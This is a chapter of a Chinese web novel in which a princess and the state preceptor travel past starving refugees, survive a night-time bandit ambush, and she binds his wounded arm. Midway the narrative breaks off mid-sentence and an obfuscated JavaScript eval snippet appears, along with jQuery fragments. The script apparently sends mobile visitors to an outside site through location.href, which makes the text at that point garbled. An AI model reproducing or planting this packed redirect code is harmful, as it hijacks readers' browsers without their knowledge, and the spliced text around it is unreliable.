61. 寂静血夜

    之后的几日,林蕴霏与谢呈照例是在奔波当中,但一行人隔一天便会在驿站内休整一晚,好叫人能吃上一口热乎的饭菜,泡上热汤浴且睡一宿软床,以便抖擞精神。


    越接近云州,众人的脸色便越不好看。


    马车抵达毗邻云州的雄州时,林蕴霏瞧见城外歪七扭八地躺着一群百姓,有男有女,有老有少,他们蓬头垢面、气息奄奄,手中紧紧捏着满是尘泥的碗。


    甫一见到谢呈与林蕴霏的马车,这些原本像是泥雕的人突然目光如炬,相互搀扶着凑上来。


    “贵人们,行行好,赏我们一些吃食吧。”


    “我们已经有整整三日什么都没吃了,求求您大发善心,救救我们。”


    “给点吃的吧,只要一点就行,我的孩子他快要饿死了啊。”


    此起彼伏的嘶哑叫喊充斥着林蕴霏的耳畔,透过帏子的那点缝隙,她看见一双又一双交叠的手索命一般朝她伸来。


    从前她也见过皇城宫墙外的乞丐与流民,他们通常逮着过路的马车讨要食物或是金银。


    林蕴霏只有在碰到老弱妇孺时,会让车夫散点小钱积善。


    但眼下这些人全然不同,他们已彻底失去了理智,光是看着就让林蕴霏深感不适。


    林蕴霏咬着唇瓣不让自己出声,她清楚若被他们知晓了来路,她非被扒去一层皮不得离开。


    然而她还是将事情想得太保守了!


    “让开,不要挡路!”车夫高声呵斥道,似是被人纠缠住。


    马车甚至开始晃动,幸得林蕴霏用手撑住厢壁,不然怕是要撞到脑袋。


    即便这样,林蕴霏用另一只手死死地捂住嘴,硬是没泄出一句闷哼。


    “先跑,官府的人操着家伙来了!”外头不知是谁尖叫了句,马车随之停止震动,那群人应是向四方散开了。


    纷杂的逃逸声中夹杂着一阵整齐有序的脚步声。


    备受一番折磨的车夫重重地喘气道:“殿下,您且放心,雄州的护卫军来了。”


    林蕴霏一点也放心不了。


    这批护卫军似乎还嫌造出的声势不够大,不够惹人瞩目,为首的那名将领声如洪钟地喊道:“末将来迟了,还望殿下与国师恕罪!”


    眉骨旁的穴位狠狠跳动,林蕴霏低声骂了句脏。


    他这是生怕那些流民不来挟持她吗?


    *


    托雄州护卫军的福,林蕴霏与谢呈在州署内简单用了一顿午膳后,又马不停蹄地上路了。


    雄州太守后来在谢呈的婉言提醒下也反应过来他将此事办得不妥,于是提出派一队护卫乔装打扮护送他们前往云州。


    谢呈与林蕴霏相视一眼后,应下了这份帮助。


    队伍变得愈发壮大,一行人为藏掖声势,选择放弃继续走官道,改行更近但幽僻的小路。


    夜晚的山林异常地阒静,仅有风声与车轮碾过地面的辚辚声。


    连续数日的赶路让林蕴霏十分疲惫,她单手撑着下巴阖眼养神。


    马车突然一个急停,马匹昂首发出尖利的嘶叫。


    本就是浅眠的林蕴霏被惊醒,沉声问道:“发生什么事了?”


    车夫的声音隔着一道帘子显得不那么清晰,但林蕴霏能听出他的声音在颤抖:“殿下,我们好似是遇到山匪了!”


    山匪!早便听说云州一带山匪泛滥,从雄州出发时太守也曾告知他们若从小径走极有可能会碰上山匪。


    但她心中总归抱有几分侥幸,不想终究还是没躲开。


    林蕴霏抬手掀起帏子,一阵冷风侵入,将她鬓边的发丝撩起。


    今夜是下弦月,山间草木长得茂盛,将原本就黯淡的月华又挡去了大半。


    他们的几辆马车被一群穿着黑袍手持大刀的人团团围住,黑色在此时成了山匪们行凶作恶最好的保护色。


    雄州那十几位跟来的护卫军已然跳下马车,亮出长剑震慑。


    谢呈的那名黑衣侍卫亦悄然地守在马车旁,绷紧下颌,蓄势待发。


    刀剑尚未交锋,两批人的眼神与气势先无声地来回了数次。


    “交出你们所有的粮食与金银,”山匪头子嗓音粗犷,像把未经磨砺过的刀,“老子或能饶你们不死!”


    面对他们的步步紧逼,护卫军不再与之周旋,提起剑冲上去。


    刹那间刀剑相交,铿然作响,两批人厮缠在一起。


    这群练家子的手脚动起来,一招一式都席卷着风,快到叫人看不清谁与谁。


    眼见得有两人边扭打边往她这边来,林蕴霏猝然将帏子放下,双手搭在膝头不自觉揪紧。


    即便清楚此次的情况与前世和亲濒死时的不同,林蕴霏还是控制不住地想到那一大片殷红的血。


    她试着叫了两声车夫的姓名,对方未有应答。


    林蕴霏因此感到胸口疼得无以复加,连正常呼吸都做不到。


    下一瞬,跟前的帘子被挑起,一只手伸入。


    林蕴霏心中掠过纷杂的念头,想要躲闪。


    身子却不听她的使唤,如何也动不了。林蕴霏最终紧紧地闭上了双眸。


    “殿下,是我。”清润的声音穿过刀剑与风声,流进林蕴霏的耳畔。


    她仓皇地睁开眼,对上谢呈那双温柔似水的灰眸。


    冻结的呼吸恰似遇着了阳春,林蕴霏像趋阳的草木,渴求地握住谢呈递来的手。


    未有想到会看见林蕴霏眼尾挂着滴将落未落的泪,谢呈在短暂的愣神后说:“莫怕,我会带你先行。”


    此刻林蕴霏只能相信他,点头道好。


    然而就在他们讲话的空当,林蕴霏看见谢呈身后出现了一把高举的刀。


    这一刀若是劈下来,便是铜头铁臂也要难逃一劫。


    “小心!”林蕴霏瞳孔一缩,提醒的话脱口而出。


    说时迟那时快,一道霜雪般的剑光横扫过来,将那柄坚重的大刀从黑衣人手中震落。


    是跟着谢呈的那名侍卫!


    青年游刃有余地运剑划向另一个扑过来的山匪,转头对谢呈说:“主子,你们先走!我来殿后。”


    “保重好自己。”谢呈言简意赅地交代,拉起林蕴霏向他的那辆马车跑。


    林蕴霏的脚步全然是虚浮的,假使没有谢呈有力的回握,她恐怕要栽倒下去。


    浅薄的月色照在谢呈的背上,林蕴霏头一次发现他看着清瘦,其实背很宽阔。


    有着青年的保护,两人成功接近了马车。


    谢呈的手遽然松开,林蕴霏下意识地挽留,抓住了他的小指。


    “殿下,”谢呈垂眸道,“你这样我无法驾车。”


    潜睿回首看僵持在马车外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068223|137871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的他们,又看了眼如潮水般蜂拥过来的山匪,催促:“快上马车。”


    林蕴霏霎时反应过来自己干了什么蠢事,她慌乱收回手,被谢呈推进车厢。


    谢呈反身坐上马车挥动辔绳,马匹开始跑动。


    一旁树丛中却突然跳出来一人,身形弯曲好似新月,持着短剑刺向谢呈。


    昏暗之中,谢呈侧开身子。藏在袖中的匕首滑出,他运起手腕使其转向。


    剑柄正中来人的腹部,谢呈的手臂却也被划开皮肉。


    万幸潜睿及时发现,横剑追来,让谢呈再没有后顾之忧地驱车。


    “坐好了,殿下!”迅疾的风声呼啸过耳,谢呈的声音从外面传来。


    林蕴霏没吭声,但扶牢了厢壁。她望向另一只适才被谢呈握过的手,那种温凉的触意似乎并未散去。


    马车行得极快,那些厮杀的人声不消片刻就被甩在后头。


    林蕴霏向外探头看去,幽暗的林间小径没有旁的人影。她于是撩起帘子,惊喜地分享给共同经历过生死的人:“谢呈,他们没有追上来,我们应该安全了!”


    才嘘出去的气又在胸口聚了起来,因为林蕴霏瞧见谢呈漫开血色的右手臂。


    他是何时受的伤?林蕴霏全然不知此刻自己脸上的担忧有多么深重。


    “只是皮外伤,”谢呈顺着她的目光去看手臂,将手往后藏了藏,“没什么大碍。”


    怎么会没有大碍呢?眼见得整条胳膊都要被血染红了。


    林蕴霏撩眼去瞧他,谢呈额头上分明布着一层薄汗,即便如此,他还能做出若无其事的姿态。


    胸口好似被一口大钟撞击了下,那是种说不清道不明的感觉。


    “离云州至少还要半日的光景,而我不会驱车,若你在路上将血流尽了,我寻谁去说理?”林蕴霏从袖中取出一块随身携带的帕子,语气恶狠狠的,“烦请国师将手伸过来。”


    谢呈听话地伸手,眸光落在眉目低垂、神情认真的她身上:“多谢殿下。”


    林蕴霏已听不进他的话,她正小心翼翼地对付着眼前的伤口。


    她不太会包扎,只胡乱缠了一圈。


    因为怕让谢呈疼,又对血有着天然的恐惧,故而林蕴霏全程屏着气,生怕一个使劲,会从对方口中听到嘶声。


    “殿下。”谢呈的出声被林蕴霏即时驳了回去:“你先别说话。”


    她这副如临大敌的模样让谢呈忍俊不禁:“在下得说,殿下若想替我止血,包扎得这般松可没甚成效。”


    “我不怕疼,殿下稍微用些力。”


    听罢谢呈的话,林蕴霏简直要被他气笑。都到这个时候了,这人还有闲心来调侃她:“好,那国师多担待着些。”


    扯着帕子两角的手稍稍使力,她如愿听见谢呈的一声闷哼。


    快速将结打完,林蕴霏坐回马车内,撂下一句:“对不住啊,国师。怪我笨手笨脚,竟让你这般能忍痛的人都受不住了。”


    “无妨,”谢呈没脾气似的为她辩说,“殿下已然做得很好。”


    “路途尚远,殿下不若睡上一觉。”


    对上他的关心之语,林蕴霏那点微不足道的怒气哪里还能留存:“你的那位侍卫呢?他怎么办?”


    谢呈的眸子紧了紧,答:“他会跟上来的,到时在州署同我会合。”